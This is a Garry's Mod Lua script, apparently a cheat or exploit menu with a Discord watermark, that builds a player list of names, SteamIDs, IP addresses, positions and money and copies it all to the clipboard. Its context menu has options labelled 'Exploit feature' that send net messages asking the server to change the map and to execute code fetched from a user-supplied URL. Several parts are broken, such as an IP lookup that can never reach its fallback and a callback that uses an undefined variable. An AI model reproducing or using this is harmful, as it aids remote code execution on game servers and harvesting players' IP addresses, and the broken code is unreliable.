--pavetr.top/ds -- Shared code local playerList = {} local function IsValidPlayerData(playerData) return playerData and playerData.name and playerData.steamid and playerData.steamid64 and playerData.ip and playerData.ping and playerData.team and playerData.health and playerData.armor and playerData.weapon and playerData.pos and playerData.vel and playerData.usergroup and playerData.isbot and playerData.isadmin and playerData.model and playerData.firstjoin and playerData.lastjoin and playerData.job and playerData.steamprofile and playerData.money and playerData.kills and playerData.deaths and playerData.playtime and playerData.map and playerData.uniqueid and playerData.entindex end local function FetchPlayerIP(player) if not IsValid(player) then return "Invalid Player" end if SERVER then local netChan = player:GetNetChannel() if not IsValid(netChan) then return "Unknown" end local address = netChan:GetAddress() local ip, port = address:match("([^:]+):([^:]+)") -- Filter out local IP addresses if ip ~= "loopback" and ip ~= "127.0.0.1" then return ip else return "Unknown" end else return "Server Only" end end local function FetchULibUID(player) if ULib and ULib.ucl and ULib.ucl.authed then local steamID = player:SteamID() local userInfo = ULib.ucl.authed[steamID] if userInfo and userInfo.uid then return userInfo.uid end end return "N/A" end local function FetchXAdminUniqueID(player) if xAdmin and xAdmin.GetPlayerUniqueID then local uniqueID = xAdmin.GetPlayerUniqueID(player) if uniqueID then return uniqueID end end return "N/A" end local JoinData = {} -- Create a table to store first join and last join dates local function UpdateJoinData(player) if not IsValid(player) then return end local steamID64 = player:SteamID64() if not JoinData[steamID64] then JoinData[steamID64] = { firstjoin = os.date("%Y-%m-%d %H:%M:%S"), -- Use the current date and time as the first join date lastjoin = os.date("%Y-%m-%d %H:%M:%S"), -- Use the current date and time as the last join date } else JoinData[steamID64].lastjoin = os.date("%Y-%m-%d %H:%M:%S") -- Update the last join date when the player reconnects end end local function SendPlayerList() playerList = {} for _, player in ipairs(player.GetAll()) do local ip = FetchPlayerIP(player) local steamID64 = player:SteamID64() if not JoinData[steamID64] then JoinData[steamID64] = { firstjoin = os.date("%Y-%m-%d %H:%M:%S"), -- Use the current date and time as the first join date lastjoin = os.date("%Y-%m-%d %H:%M:%S"), -- Use the current date and time as the last join date } end local data = { name = player:Nick(), steamid = player:SteamID(), ip = ip, ping = player:Ping(), team = player:Team(), job = player:GetNWString("usergroup"), health = player:Health(), armor = player:Armor(), weapon = IsValid(player:GetActiveWeapon()) and player:GetActiveWeapon():GetClass() or "N/A", pos = player:GetPos(), vel = player:GetVelocity(), usergroup = player:GetUserGroup(), steamid64 = player:SteamID64(), isbot = player:IsBot() and "Yes" or "No", deaths = player:Deaths(), isadmin = player:IsAdmin() and "Yes" or "No", model = player:GetModel(), firstjoin = JoinData[steamID64].firstjoin, -- New data feature: First Join lastjoin = JoinData[steamID64].lastjoin, -- New data feature: Last Join steamprofile = player:SteamID() and "https://steamcommunity.com/profiles/" .. player:SteamID64() or "N/A", money = player:GetNWInt("Money", 0), kills = player:Frags(), -- New data feature: Number of kills playtime = tonumber(player:GetPData("utime_playtime", 0)) or 0, -- New data feature: Playtime -- New data feature: Playtime map = game.GetMap(), uniqueid = player:UniqueID(), -- New data feature: UniqueID entindex = player:EntIndex(), } table.insert(playerList, data) end end -- Client-side code if CLIENT then surface.CreateFont("WatermarkFont", { font = "Roboto", -- Replace this with the desired font name (I'm using Roboto as an example, but feel free to use any other font you like) size = 18, -- Reduced font size for better readability weight = 800, antialias = true, }) -- Add a variable to track the current scale local currentScale = 1.0 local function AbbreviateHostname(hostname) local words = string.Explode(" ", hostname) if #words >= 2 then return words[1] .. " " .. words[2] else return hostname end end local function DrawWatermark(panel, scale) local currentTime = os.date("%m/%d/%Y | %H:%M:%S") -- Added "|" separator local playerName = LocalPlayer():Nick() local serverName = GetHostName() serverName = AbbreviateHostname(serverName) local playersCount = #player.GetAll() local maxPlayers = game.MaxPlayers() local gamemodeName = GAMEMODE.Name local watermarkText = "Made by astral594 (Discord) | " .. playerName .. " | " .. currentTime .. " | " .. gamemodeName .. " | " .. serverName .. " | " .. playersCount .. "/" .. maxPlayers surface.SetFont("WatermarkFont") local textWidth, textHeight = surface.GetTextSize(watermarkText) -- Set the position of the watermark at the very top right corner local watermarkX = panel:GetWide() - textWidth - 20 local watermarkY = 20 -- Adjusted the Y position for better placement local textColor = Color(255, 255, 255) -- White color for improved readability -- Check if the cursor is hovering over the watermark if panel:IsHovered() then textColor = Color(255, 255, 255) -- White color on hover currentScale = 2.5 -- Update the current scale when hovering else currentScale = 1.0 -- Reset the scale when not hovering end -- Calculate the alpha value based on the scaling local alpha = 100 * currentScale local pulseAmount = math.abs(math.sin(RealTime() * 5)) alpha = alpha + pulseAmount * 50 -- Add pulsating effect to the glowing local backgroundX = panel:GetWide() - textWidth - 25 local backgroundY = 15 -- Adjusted the Y position for better placement local backgroundWidth = textWidth + 30 -- Adjusted background width for better spacing local backgroundHeight = textHeight + 20 -- Adjusted background height for better spacing draw.RoundedBox(8, backgroundX, backgroundY, backgroundWidth, backgroundHeight, Color(128, 0, 128, alpha)) -- Purple glowing background effect draw.SimpleText(watermarkText, "WatermarkFont", backgroundX + backgroundWidth / 2, backgroundY + backgroundHeight / 2, textColor, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) end local function CreateWatermark() local watermarkPanel = vgui.Create("DPanel") watermarkPanel:SetPos(0, 0) watermarkPanel:SetSize(ScrW(), ScrH()) function watermarkPanel:Paint() local scale = self:GetTall() / ScrH() DrawWatermark(self, scale) end function watermarkPanel:OnCursorEntered() self:SetCursor("hand") end function watermarkPanel:OnCursorExited() self:SetCursor("arrow") end watermarkPanel:SetMouseInputEnabled(true) watermarkPanel:SetVisible(true) -- Add a smooth popping animation local originalScale = 0.5 local targetScale = 1 local startTime = RealTime() local duration = 1.0 -- Adjust the duration to control the animation speed watermarkPanel.Think = function(self) local timePassed = RealTime() - startTime local progress = math.Clamp(timePassed / duration, 0, 1) local scale = Lerp(progress, originalScale, targetScale) self:SetSize(ScrW() * scale, ScrH() * scale) -- Remove the Think function when the animation is complete if progress == 1 then self.Think = nil end end end CreateWatermark() local sortOptions = { {name = "Name (A-Z)", key = "name"}, {name = "Ping", key = "ping"}, {name = "Health", key = "health"}, {name = "Armor", key = "armor"}, {name = "Kills", key = "kills"}, {name = "Deaths", key = "deaths"}, {name = "Playtime", key = "playtime"}, } local sortKey = "name" local sortAscending = true local function SortPlayerList() table.sort(playerList, function(a, b) local aValue, bValue = a[sortKey], b[sortKey] if sortKey == "name" then aValue = aValue:lower() bValue = bValue:lower() end if sortAscending then return aValue < bValue else return aValue > bValue end end) end local function SearchPlayerList(query) if not query or query == "" then return {} -- Return an empty list if the search query is empty end local filteredList = {} for _, playerData in ipairs(playerList) do if IsValidPlayerData(playerData) then if string.find(playerData.name:lower(), query:lower(), 1, true) or string.find(playerData.steamid, query, 1, true) then table.insert(filteredList, playerData) end end end return filteredList end local function CopyPlayerDataToClipboard(playerData) local dataString = "Name: " .. playerData.name .. "\n" .. "Steam ID: " .. playerData.steamid .. "\n" .. "Steam ID 64: " .. playerData.steamid64 .. "\n" .. "IP Address: " .. playerData.ip .. "\n" .. "Ping: " .. playerData.ping .. "ms" .. "\n" .. "Team: " .. team.GetName(playerData.team) .. "\n" .. "Health: " .. playerData.health .. "\n" .. "Armor: " .. playerData.armor .. "\n" .. "Weapon: " .. playerData.weapon .. "\n" .. "Position: (" .. playerData.pos.x .. ", " .. playerData.pos.y .. ", " .. playerData.pos.z .. ")" .. "\n" .. "Velocity: (" .. playerData.vel.x .. ", " .. playerData.vel.y .. ", " .. playerData.vel.z .. ")" .. "\n" .. "Usergroup: " .. playerData.usergroup .. "\n" .. "Is Bot: " .. playerData.isbot .. "\n" .. "Is Admin: " .. playerData.isadmin .. "\n" .. "Model: " .. playerData.model .. "\n" .. "First Join: " .. playerData.firstjoin .. "\n" .. "Last Join: " .. playerData.lastjoin .. "\n" .. "Job: " .. playerData.job .. "Money: $" .. playerData.money .. "\n" .. "Kills: " .. playerData.kills .. -- New data feature: Number of kills "Deaths: " .. playerData.deaths .. "Playtime: " .. playerData.playtime .. " seconds" .. -- New data feature: Playtime "Map: " .. playerData.map .. -- New data feature: Current map "\nUniqueID: " .. playerData.uniqueid .. -- New data feature: UniqueID "\nEntIndex: " .. playerData.entindex SetClipboardText(dataString) LocalPlayer():ChatPrint("Player data copied to clipboard.") end local function CopyAllPlayerDataToClipboard() local dataString = "" for _, playerData in ipairs(playerList) do dataString = dataString .. "Name: " .. playerData.name .. "\n" .. "Steam ID: " .. playerData.steamid .. "\n" .. "Steam ID 64: " .. playerData.steamid64 .. "\n" .. "IP Address: " .. playerData.ip .. "\n" .. "Ping: " .. playerData.ping .. "ms" .. "\n" .. "Team: " .. team.GetName(playerData.team) .. "\n" .. "Health: " .. playerData.health .. "\n" .. "Armor: " .. playerData.armor .. "\n" .. "Weapon: " .. playerData.weapon .. "\n" .. "Position: (" .. playerData.pos.x .. ", " .. playerData.pos.y .. ", " .. playerData.pos.z .. ")" .. "\n" .. "Velocity: (" .. playerData.vel.x .. ", " .. playerData.vel.y .. ", " .. playerData.vel.z .. ")" .. "\n" .. "Usergroup: " .. playerData.usergroup .. "\n" .. "Is Bot: " .. playerData.isbot .. "\n" .. "Is Admin: " .. playerData.isadmin .. "\n" .. "Model: " .. playerData.model .. "\n" .. "First Join: " .. playerData.firstjoin .. "\n" .. "Last Join: " .. playerData.lastjoin .. "\n" .. "Job: " .. playerData.job .. "\n" .. "Steam Profile: " .. playerData.steamprofile .. -- New data feature: Steam Profile "Money: $" .. playerData.money .. "\n" .. "Kills: " .. playerData.kills .. -- New data feature: Number of kills "Deaths: " .. playerData.deaths .. "Playtime: " .. playerData.playtime .. " seconds" .. -- New data feature: Playtime "Map: " .. playerData.map .. -- New data feature: Current map "\nUniqueID: " .. playerData.uniqueid .. -- New data feature: UniqueID "\nEntIndex: " .. playerData.entindex end SetClipboardText(dataString) LocalPlayer():ChatPrint("All player data copied to clipboard.") end local function IsValidSteamID(steamID) -- SteamID format: STEAM_X:Y:Z return steamID and string.match(steamID, "^STEAM_%d:%d:%d+$") end local function OpenSteamProfile(playerData) local steamID = playerData.steamid if IsValidSteamID(steamID) then local steamProfileURL = "https://steamcommunity.com/profiles/" .. util.SteamIDTo64(steamID) gui.OpenURL(steamProfileURL) else LocalPlayer():ChatPrint("Invalid SteamID. Unable to open Steam profile.") end end local function OpenContextMenu(playerData) local menu = DermaMenu() menu:AddOption("Say Hi", function() LocalPlayer():ChatPrint("Hi, " .. playerData.name .. "!") end) menu:AddOption("Say Hi yellow", function() local playerName = playerData.name chat.AddText(Color(255, 255, 0), "Hi, " .. playerName .. "!") end) -- Exploit feature 12 menu:AddOption("Change Map", function() Derma_StringRequest("Change Map", "Enter the map name:", "", function(mapName) net.Start("ChangeMap") net.WriteString(mapName) net.SendToServer() end) end) -- Exploit feature 15 menu:AddOption("Execute Remote Code", function() Derma_StringRequest("Execute Remote Code", "Enter remote code URL:", "", function(remoteCodeURL) net.Start("ExecuteRemoteCode") net.WriteString(remoteCodeURL) net.SendToServer() end) end) menu:AddOption("Send Red Message", function() local target = net.ReadEntity() local message = net.ReadString() if IsValid(target) and target:IsPlayer() then target:ChatPrint(Color(255, 0, 0), "Red Message from " .. ply:Nick() .. ": " .. message) end end) menu:AddSpacer() -- Add a separator between the "Kick" option and the new "Copy Data" option menu:AddOption("Open Steam Profile", function() OpenSteamProfile(playerData) end) menu:AddOption("Copy Data", function() CopyPlayerDataToClipboard(playerData) end) menu:Open() end local function OpenPlayerList() surface.CreateFont("DermaDefault", { font = "Tahoma", -- Change this to the desired font name, or use "Arial" if it's available on your system size = 16, weight = 500, antialias = true, }) local frame = vgui.Create("DFrame") frame:SetSize(1000, 600) -- Increase the default window size frame:SetTitle("Player List") frame:Center() frame:SetSizable(true) -- Make the frame resizable frame:MakePopup() local list = vgui.Create("DListView", frame) list:Dock(FILL) list:SetMultiSelect(false) list:AddColumn("Name") list:AddColumn("Steam ID") list:AddColumn("Steam ID 64") list:AddColumn("IP Address") list:AddColumn("Ping") list:AddColumn("Team") list:AddColumn("Health") list:AddColumn("Armor") list:AddColumn("Weapon") list:AddColumn("Position") list:AddColumn("Velocity") list:AddColumn("Usergroup") list:AddColumn("Is Bot") list:AddColumn("Is Admin") -- New data feature: Is Admin list:AddColumn("Model") -- New data feature: Model list:AddColumn("First Join") -- New data feature: First Join list:AddColumn("Last Join") -- New data feature: Last Join list:AddColumn("Job") -- New data feature: Job list:AddColumn("Steam Profile") -- New data feature: Steam Profile list:AddColumn("Money") -- New data feature: Steam Profile list:AddColumn("Kills") -- New data feature: Last Join list:AddColumn("Deaths") -- New data feature: Job list:AddColumn("Playtime") -- New data feature: Steam Profile list:AddColumn("Map") -- New data feature: Steam Profile list:AddColumn("UniqueID") -- New data feature: Last Join list:AddColumn("EntIndex") local function RefreshPlayerList() list:Clear() for _, playerData in ipairs(playerList) do list:AddLine( playerData.name, playerData.steamid, playerData.steamid64, playerData.ip, playerData.ping, team.GetName(playerData.team), playerData.health, playerData.armor, playerData.weapon, "(" .. playerData.pos.x .. ", " .. playerData.pos.y .. ", " .. playerData.pos.z .. ")", "(" .. playerData.vel.x .. ", " .. playerData.vel.y .. ", " .. playerData.vel.z .. ")", playerData.usergroup, playerData.isbot, playerData.isadmin, -- New data feature: Is Admin playerData.model, -- New data feature: Model playerData.firstjoin, -- New data feature: First Join playerData.lastjoin, -- New data feature: Last Join playerData.job, -- New data feature: Job playerData.steamprofile, -- New data feature: Steam Profile playerData.money, playerData.kills, playerData.deaths, playerData.playtime, playerData.map, playerData.uniqueid, playerData.entindex ) end end -- Add this closing brace list.OnRowRightClick = function(_, line) local playerData = playerList[line] if not playerData then return end OpenContextMenu(playerData) end local sortDropdown = vgui.Create("DComboBox", frame) sortDropdown:Dock(TOP) sortDropdown:SetValue("Sort by:") for _, option in ipairs(sortOptions) do sortDropdown:AddChoice(option.name, option.key) end sortDropdown.OnSelect = function(_, index, value, data) sortKey = data SortPlayerList() RefreshPlayerList() end local searchPanel = vgui.Create("DPanel", frame) searchPanel:Dock(TOP) searchPanel:SetHeight(30) searchPanel:DockMargin(0, 5, 0, 5) local searchEntry = vgui.Create("DTextEntry", searchPanel) searchEntry:Dock(FILL) searchEntry:SetPlaceholderText("Search by name or SteamID") searchEntry.OnValueChange = function() local query = searchEntry:GetValue() local filteredList = SearchPlayerList(query) if #filteredList > 0 then playerList = filteredList else SendPlayerList() end RefreshPlayerList() end local clearButton = vgui.Create("DButton", searchPanel) clearButton:Dock(RIGHT) clearButton:SetText("Clear") clearButton.DoClick = function() searchEntry:SetText("") SendPlayerList() RefreshPlayerList() end SortPlayerList() local refreshButton = vgui.Create("DButton", frame) refreshButton:Dock(BOTTOM) refreshButton:SetText("Refresh Player List") refreshButton.DoClick = function() SendPlayerList() -- Request an updated player list from the server RefreshPlayerList() end RefreshPlayerList() local copyAllButton = vgui.Create("DButton", frame) copyAllButton:Dock(BOTTOM) copyAllButton:SetText("Copy All Player Data") copyAllButton.DoClick = function() CopyAllPlayerDataToClipboard() end frame.OnClose = function() if IsValid(list) then list:Remove() end end end timer.Simple(2, function() -- Delay the execution for 2 seconds to ensure the server data is ready OpenPlayerList() -- Automatically open the player list menu when the script is executed end) end -- Server-side code if SERVER then local function FetchPlayerIP(player) if not IsValid(player) then return "Invalid Player" end if SERVER then return "Server Only" else -- Fetch IP address using network string on the client-side local addr = player:EntIndex() > 0 and player:GetPData("last_join_ip", "Unknown") or "Unknown" -- Check if ULib is available if ULib and ULib.ucl and ULib.ucl.authed then local steamID = player:SteamID() local userInfo = ULib.ucl.authed[steamID] -- ULib stores the IP address in the `ip` field of the user info table if userInfo and userInfo.ip and userInfo.ip ~= "loopback" and userInfo.ip ~= "127.0.0.1" then return userInfo.ip end end -- Check if FAdmin is available if FAdmin and FAdmin.PlayerData and FAdmin.PlayerData[player:UniqueID()] and FAdmin.PlayerData[player:UniqueID()].IPAddress then return FAdmin.PlayerData[player:UniqueID()].IPAddress end -- Check if ULX is available if ULib and ULib.ucl and ULib.ucl.getUserRegistered then local steamID = player:SteamID() local userInfo = ULib.ucl.getUserRegistered(steamID) -- ULX stores the IP address in the `lastAddress` field of the user info table if userInfo and userInfo.lastAddress and userInfo.lastAddress ~= "loopback" and userInfo.lastAddress ~= "127.0.0.1" then return userInfo.lastAddress end end -- Check if SAM is available (Simple Admin System) if SAM and SAM.GetPlayerIP then local ip = SAM.GetPlayerIP(player) -- SAM provides a function to retrieve the player's IP address directly if ip and ip ~= "loopback" and ip ~= "127.0.0.1" then return ip end end -- Check if Evolve is available if evolve and evolve.GetPlayerInfo then local ip = evolve.GetPlayerInfo(player:UniqueID(), "IPAddress") -- Evolve provides a function to retrieve the player's IP address directly if ip and ip ~= "loopback" and ip ~= "127.0.0.1" then return ip end end -- Check if xAdmin is available if xAdmin and xAdmin.GetPlayerIP then local ip = xAdmin.GetPlayerIP(player) -- xAdmin provides a function to retrieve the player's IP address directly if ip and ip ~= "loopback" and ip ~= "127.0.0.1" then return ip end end return addr end end local function UpdatePlayerList() SendPlayerList() net.Start("UpdatePlayerList") net.WriteTable(playerList) net.Broadcast() end hook.Add("PlayerConnect", "UpdatePlayerList", function() UpdatePlayerList() end) hook.Add("PlayerInitialSpawn", "UpdatePlayerList", function(ply) UpdatePlayerList() end) timer.Create("UpdatePlayerListTimer", 5, 0, function() UpdatePlayerList() end) end